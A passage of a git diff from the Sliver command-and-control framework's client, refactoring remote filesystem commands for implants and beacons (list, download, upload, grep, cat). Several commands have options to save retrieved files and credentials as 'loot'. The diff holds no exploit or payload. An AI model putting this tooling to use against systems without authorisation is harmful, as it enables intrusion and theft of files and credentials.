chown.Response != nil && chown.Response.Err != "" { con.PrintErrorf("%s\n", chown.Response.Err) return diff --git a/client/command/filesystem/chtimes.go b/client/command/filesystem/chtimes.go index eee6b4f503..562b9fd8ca 100644 --- a/client/command/filesystem/chtimes.go +++ b/client/command/filesystem/chtimes.go @@ -21,17 +21,16 @@ import ( "context" "time" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ChtimesCmd - Change the access and modified time of a file on the remote file system -func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ChtimesCmd - Change the access and modified time of a file on the remote file system. +func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -80,11 +79,11 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str MTime: unixMtime, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if chtimes.Response != nil && chtimes.Response.Async { - con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(chtimes.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, chtimes) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -92,14 +91,13 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } PrintChtimes(chtimes, con) }) - con.PrintAsyncResponse(chtimes.Response) } else { PrintChtimes(chtimes, con) } } -// PrintChtimes - Print the Chtimes response -func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) { +// PrintChtimes - Print the Chtimes response. +func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverClient) { if chtimes.Response != nil && chtimes.Response.Err != "" { con.PrintErrorf("%s\n", chtimes.Response.Err) return diff --git a/client/command/filesystem/commands.go b/client/command/filesystem/commands.go new file mode 100644 index 0000000000..b8aa568ccb --- /dev/null +++ b/client/command/filesystem/commands.go @@ -0,0 +1,342 @@ +package filesystem + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/loot" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + mvCmd := &cobra.Command{ + Use: consts.MvStr, + Short: "Move or rename a file", + Long: help.GetHelpFor([]string{consts.MvStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + MvCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, mvCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(mvCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to source file (required)"), + carapace.ActionValues().Usage("path to dest file (required)"), + ) + + cpCmd := &cobra.Command{ + Use: consts.CpStr, + Short: "Copy a file", + Long: help.GetHelpFor([]string{consts.CpStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + CpCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, cpCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(cpCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to source file (required)"), + carapace.ActionValues().Usage("path to dest file (required)"), + ) + + lsCmd := &cobra.Command{ + Use: consts.LsStr, + Short: "List current directory", + Long: help.GetHelpFor([]string{consts.LsStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + LsCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, lsCmd, func(f *pflag.FlagSet) { + f.BoolP("reverse", "r", false, "reverse sort order") + f.BoolP("modified", "m", false, "sort by modified time") + f.BoolP("size", "s", false, "sort by size") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(lsCmd).PositionalCompletion(carapace.ActionValues().Usage("path to enumerate (optional)")) + + rmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a file or directory", + Long: help.GetHelpFor([]string{consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RmCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, rmCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively remove files") + f.BoolP("force", "F", false, "ignore safety and forcefully remove files") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(rmCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to remove")) + + mkdirCmd := &cobra.Command{ + Use: consts.MkdirStr, + Short: "Make a directory", + Long: help.GetHelpFor([]string{consts.MkdirStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + MkdirCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, mkdirCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(mkdirCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory to create")) + + cdCmd := &cobra.Command{ + Use: consts.CdStr, + Short: "Change directory", + Long: help.GetHelpFor([]string{consts.CdStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + CdCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, cdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(cdCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory")) + + pwdCmd := &cobra.Command{ + Use: consts.PwdStr, + Short: "Print working directory", + Long: help.GetHelpFor([]string{consts.PwdStr}), + Run: func(cmd *cobra.Command, args []string) { + PwdCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, pwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + catCmd := &cobra.Command{ + Use: consts.CatStr, + Short: "Dump file to stdout", + Long: help.GetHelpFor([]string{consts.CatStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + CatCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, catCmd, func(f *pflag.FlagSet) { + f.BoolP("colorize-output", "c", false, "colorize output") + f.BoolP("hex", "x", false, "display as a hex dump") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(catCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) + + downloadCmd := &cobra.Command{ + Use: consts.DownloadStr, + Short: "Download a file", + Long: help.GetHelpFor([]string{consts.DownloadStr}), + Args: cobra.RangeArgs(1, 2), + Run: func(cmd *cobra.Command, args []string) { + DownloadCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, downloadCmd, func(f *pflag.FlagSet) { + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting") + f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting") + f.StringP("name", "n", "", "name to assign the download if looting") + f.BoolP("recurse", "r", false, "recursively download all files in a directory") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(downloadCmd, func(comp *carapace.ActionMap) { + (*comp)["type"] = loot.LootTypeCompleter(con) + (*comp)["file-type"] = loot.FileTypeCompleter(con) + }) + carapace.Gen(downloadCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to the file or directory to download"), + carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"), + ) + + grepCmd := &cobra.Command{ + Use: consts.GrepStr, + Short: "Search for strings that match a regex within a file or directory", + Long: help.GetHelpFor([]string{consts.GrepStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + GrepCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, grepCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("", false, grepCmd, func(f *pflag.FlagSet) { + f.BoolP("colorize-output", "c", false, "colorize output") + f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") + f.BoolP("recursive", "r", false, "search recursively") + f.BoolP("insensitive", "i", false, "case-insensitive search") + f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)") + f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)") + f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x") + f.BoolP("exact", "e", false, "match the search term exactly") + }) + carapace.Gen(grepCmd).PositionalCompletion( + carapace.ActionValues().Usage("regex to search the file for"), + carapace.ActionValues().Usage("remote path / file to search in"), + ) + + headCmd := &cobra.Command{ + Use: consts.HeadStr, + Short: "Grab the first number of bytes or lines from a file", + Long: help.GetHelpFor([]string{consts.HeadStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + /* + The last argument tells head if the user requested the head or tail of the file + True means head, false means tail + */ + HeadCmd(cmd, con, args, true) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, headCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("", false, headCmd, func(f *pflag.FlagSet) { + f.BoolP("colorize-output", "c", false, "colorize output") + f.BoolP("hex", "x", false, "display as a hex dump") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") + f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file") + f.Int64P("lines", "l", 0, "Grab the first number of lines from the file") + }) + carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) + + tailCmd := &cobra.Command{ + Use: consts.TailStr, + Short: "Grab the last number of bytes or lines from a file", + Long: help.GetHelpFor([]string{consts.TailStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + /* + The last argument tells head if the user requested the head or tail of the file + True means head, false means tail + */ + HeadCmd(cmd, con, args, false) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, tailCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("", false, tailCmd, func(f *pflag.FlagSet) { + f.BoolP("colorize-output", "c", false, "colorize output") + f.BoolP("hex", "x", false, "display as a hex dump") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") + f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file") + f.Int64P("lines", "l", 0, "Grab the last number of lines from the file") + }) + carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) + + uploadCmd := &cobra.Command{ + Use: consts.UploadStr, + Short: "Upload a file or directory", + Long: help.GetHelpFor([]string{consts.UploadStr}), + Args: cobra.RangeArgs(1, 2), + Run: func(cmd *cobra.Command, args []string) { + UploadCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, uploadCmd, func(f *pflag.FlagSet) { + f.BoolP("ioc", "i", false, "track uploaded file as an ioc") + f.BoolP("recurse", "r", false, "recursively upload a directory") + f.BoolP("overwrite", "o", false, "overwrite files that exist in the destination") + f.BoolP("preserve", "p", false, "preserve directory structure when uploading a directory") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(uploadCmd).PositionalCompletion( + carapace.ActionFiles().Usage("local path to the file to upload"), + carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"), + ) + + memfilesCmd := &cobra.Command{ + Use: consts.MemfilesStr, + Short: "List current memfiles", + Long: help.GetHelpFor([]string{consts.MemfilesStr}), + GroupID: consts.FilesystemHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + MemfilesListCmd(cmd, con, args) + }, + } + flags.Bind("", true, memfilesCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + memfilesAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a memfile", + Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + MemfilesAddCmd(cmd, con, args) + }, + } + memfilesCmd.AddCommand(memfilesAddCmd) + + memfilesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a memfile", + Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + MemfilesRmCmd(cmd, con, args) + }, + } + memfilesCmd.AddCommand(memfilesRmCmd) + + carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor")) + + return []*cobra.Command{ + mvCmd, + cpCmd, + lsCmd, + rmCmd, + mkdirCmd, + pwdCmd, + catCmd, + cdCmd, + downloadCmd, + grepCmd, + headCmd, + tailCmd, + uploadCmd, + memfilesCmd, + } +} diff --git a/client/command/filesystem/cp.go b/client/command/filesystem/cp.go index 9d0fe895a9..7b6669e120 100644 --- a/client/command/filesystem/cp.go +++ b/client/command/filesystem/cp.go @@ -21,16 +21,15 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) { +func CpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err error) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -50,21 +49,20 @@ func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Dst: dst, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } cp.Src, cp.Dst = src, dst if cp.Response != nil && cp.Response.Async { - con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(cp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, cp) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) return } }) - con.PrintAsyncResponse(cp.Response) } else { PrintCp(cp, con) } @@ -72,7 +70,7 @@ func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) return } -func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) { +func PrintCp(cp *sliverpb.Cp, con *console.SliverClient) { if cp.Response != nil && cp.Response.Err != "" { con.PrintErrorf("%s\n", cp.Response.Err) return diff --git a/client/command/filesystem/download.go b/client/command/filesystem/download.go index d92f3879ef..64a4de8e23 100644 --- a/client/command/filesystem/download.go +++ b/client/command/filesystem/download.go @@ -39,7 +39,7 @@ import ( "github.com/bishopfox/sliver/util/encoders" ) -func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func DownloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -59,11 +59,11 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if download.Response != nil && download.Response.Async { - con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(download.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, download) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -71,7 +71,6 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } HandleDownloadResponse(download, cmd, args, con) }) - con.PrintAsyncResponse(download.Response) } else { HandleDownloadResponse(download, cmd, args, con) } @@ -105,7 +104,7 @@ func prettifyDownloadName(path string) string { return filteredString } -func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverConsoleClient) { +func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverClient) { var err error if download.Response != nil && download.Response.Err != "" { con.PrintErrorf("%s\n", download.Response.Err) diff --git a/client/command/filesystem/grep.go b/client/command/filesystem/grep.go index 107cd73693..650b0b4a62 100644 --- a/client/command/filesystem/grep.go +++ b/client/command/filesystem/grep.go @@ -41,7 +41,7 @@ func processFlags(searchPattern string, insensitive bool, exact bool) string { return searchPattern } - var processedSearchPattern = searchPattern + processedSearchPattern := searchPattern flagsAtBeginning, _ := regexp.Compile(`^\(\?.*\)`) flagsSpecifiedIndex := flagsAtBeginning.FindStringIndex(searchPattern) @@ -62,7 +62,7 @@ func processFlags(searchPattern string, insensitive bool, exact bool) string { flagsSpecifiedIndex = flagsAtBeginning.FindStringIndex(processedSearchPattern) if exact { - var endIndexOfFlags = 0 + endIndexOfFlags := 0 if flagsSpecifiedIndex != nil { endIndexOfFlags = flagsSpecifiedIndex[1] @@ -83,7 +83,7 @@ func processFlags(searchPattern string, insensitive bool, exact bool) string { return processedSearchPattern } -func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func GrepCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -136,7 +136,7 @@ func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string return } if grep.Response != nil && grep.Response.Async { - con.AddBeaconCallback(grep.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(grep.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, grep) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -152,7 +152,7 @@ func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } // printGrep - Print the results from the grep operation to stdout -func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverClient) { saveLoot, _ := cmd.Flags().GetBool("loot") lootName, _ := cmd.Flags().GetString("name") colorize, _ := cmd.Flags().GetBool("colorize-output") @@ -233,7 +233,6 @@ func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd fileType := loot.ValidateLootFileType(userLootFileType, []byte(grepResultsString)) loot.LootText(grepResultsString, lootName, lootFileName, fileType, con) } - } // grepLineResult - Add color or formatting for results for console output @@ -268,7 +267,7 @@ func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, coloriz // printGrepResults - Take the results from the implant and put them together for output to the console or loot func printGrepResults(results map[string]*sliverpb.GrepResultsForFile, colorize bool, allowFormatting bool) ([]string, int, []string) { var resultOutput []string - var numberOfResults = 0 + numberOfResults := 0 binaryFilesMatched := []string{} for fileName, result := range results { diff --git a/client/command/filesystem/head.go b/client/command/filesystem/head.go index 9a0c782fb7..57a47a6690 100644 --- a/client/command/filesystem/head.go +++ b/client/command/filesystem/head.go @@ -29,7 +29,7 @@ import ( "google.golang.org/protobuf/proto" ) -func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) { +func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head bool) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -112,7 +112,7 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string return } if download.Response != nil && download.Response.Async { - con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(download.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, download) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) diff --git a/client/command/filesystem/ls.go b/client/command/filesystem/ls.go index 28e56348f4..578dac9ff5 100644 --- a/client/command/filesystem/ls.go +++ b/client/command/filesystem/ls.go @@ -27,10 +27,9 @@ import ( "text/tabwriter" "time" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -38,8 +37,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// LsCmd - List the contents of a remote directory -func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// LsCmd - List the contents of a remote directory. +func LsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -61,7 +60,7 @@ func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) return } if ls.Response != nil && ls.Response.Async { - con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(ls.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, ls) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -69,14 +68,13 @@ func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintLs(ls, cmd.Flags(), con) }) - con.PrintAsyncResponse(ls.Response) } else { PrintLs(ls, cmd.Flags(), con) } } -// PrintLs - Display an sliverpb.Ls object -func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverConsoleClient) { +// PrintLs - Display an sliverpb.Ls object. +func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverClient) { if ls.Response != nil && ls.Response.Err != "" { con.PrintErrorf("%s\n", ls.Response.Err) return diff --git a/client/command/filesystem/memfiles-add.go b/client/command/filesystem/memfiles-add.go index 2183298574..7a7d00d324 100644 --- a/client/command/filesystem/memfiles-add.go +++ b/client/command/filesystem/memfiles-add.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// MemfilesAddCmd - Add memfile -func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MemfilesAddCmd - Add memfile. +func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -39,11 +39,11 @@ func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if memfilesAdd.Response != nil && memfilesAdd.Response.Async { - con.AddBeaconCallback(memfilesAdd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(memfilesAdd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, memfilesAdd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -51,14 +51,13 @@ func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } PrintAddMemfile(memfilesAdd, con) }) - con.PrintAsyncResponse(memfilesAdd.Response) } else { PrintAddMemfile(memfilesAdd, con) } } -// PrintAddMemfile - Print the memfiles response -func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverConsoleClient) { +// PrintAddMemfile - Print the memfiles response. +func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverClient) { if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" { con.PrintErrorf("%s\n", memfilesAdd.Response.Err) return diff --git a/client/command/filesystem/memfiles-list.go b/client/command/filesystem/memfiles-list.go index e868a440c4..5e5df721a0 100644 --- a/client/command/filesystem/memfiles-list.go +++ b/client/command/filesystem/memfiles-list.go @@ -34,8 +34,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// MemfilesListCmd - List memfiles -func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MemfilesListCmd - List memfiles. +func MemfilesListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -45,11 +45,11 @@ func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if memfilesList.Response != nil && memfilesList.Response.Async { - con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(memfilesList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, memfilesList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -57,14 +57,13 @@ func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintMemfiles(memfilesList, con) }) - con.PrintAsyncResponse(memfilesList.Response) } else { PrintMemfiles(memfilesList, con) } } -// PrintMemfiles - Display an sliverpb.Ls object -func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverConsoleClient) { +// PrintMemfiles - Display an sliverpb.Ls object. +func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverClient) { if ls.Response != nil && ls.Response.Err != "" { con.PrintErrorf("%s\n", ls.Response.Err) return diff --git a/client/command/filesystem/memfiles-rm.go b/client/command/filesystem/memfiles-rm.go index ca9a0bb01d..cc6499ef97 100644 --- a/client/command/filesystem/memfiles-rm.go +++ b/client/command/filesystem/memfiles-rm.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// MemfilesRmCmd - Remove a memfile -func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MemfilesRmCmd - Remove a memfile. +func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -52,11 +52,11 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] Fd: fdInt, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if memfilesList.Response != nil && memfilesList.Response.Async { - con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(memfilesList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, memfilesList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -64,14 +64,13 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } PrintRmMemfile(memfilesList, con) }) - con.PrintAsyncResponse(memfilesList.Response) } else { PrintRmMemfile(memfilesList, con) } } -// PrintRmMemfile - Remove a memfile -func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverConsoleClient) { +// PrintRmMemfile - Remove a memfile. +func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverClient) { if memfilesList.Response != nil && memfilesList.Response.Err != "" { con.PrintErrorf("%s\n", memfilesList.Response.Err) return diff --git a/client/command/filesystem/mkdir.go b/client/command/filesystem/mkdir.go index e759f56f28..f77e387f6e 100644 --- a/client/command/filesystem/mkdir.go +++ b/client/command/filesystem/mkdir.go @@ -21,17 +21,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// MkdirCmd - Make a remote directory -func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MkdirCmd - Make a remote directory. +func MkdirCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -50,11 +49,11 @@ func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin Path: filePath, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if mkdir.Response != nil && mkdir.Response.Async { - 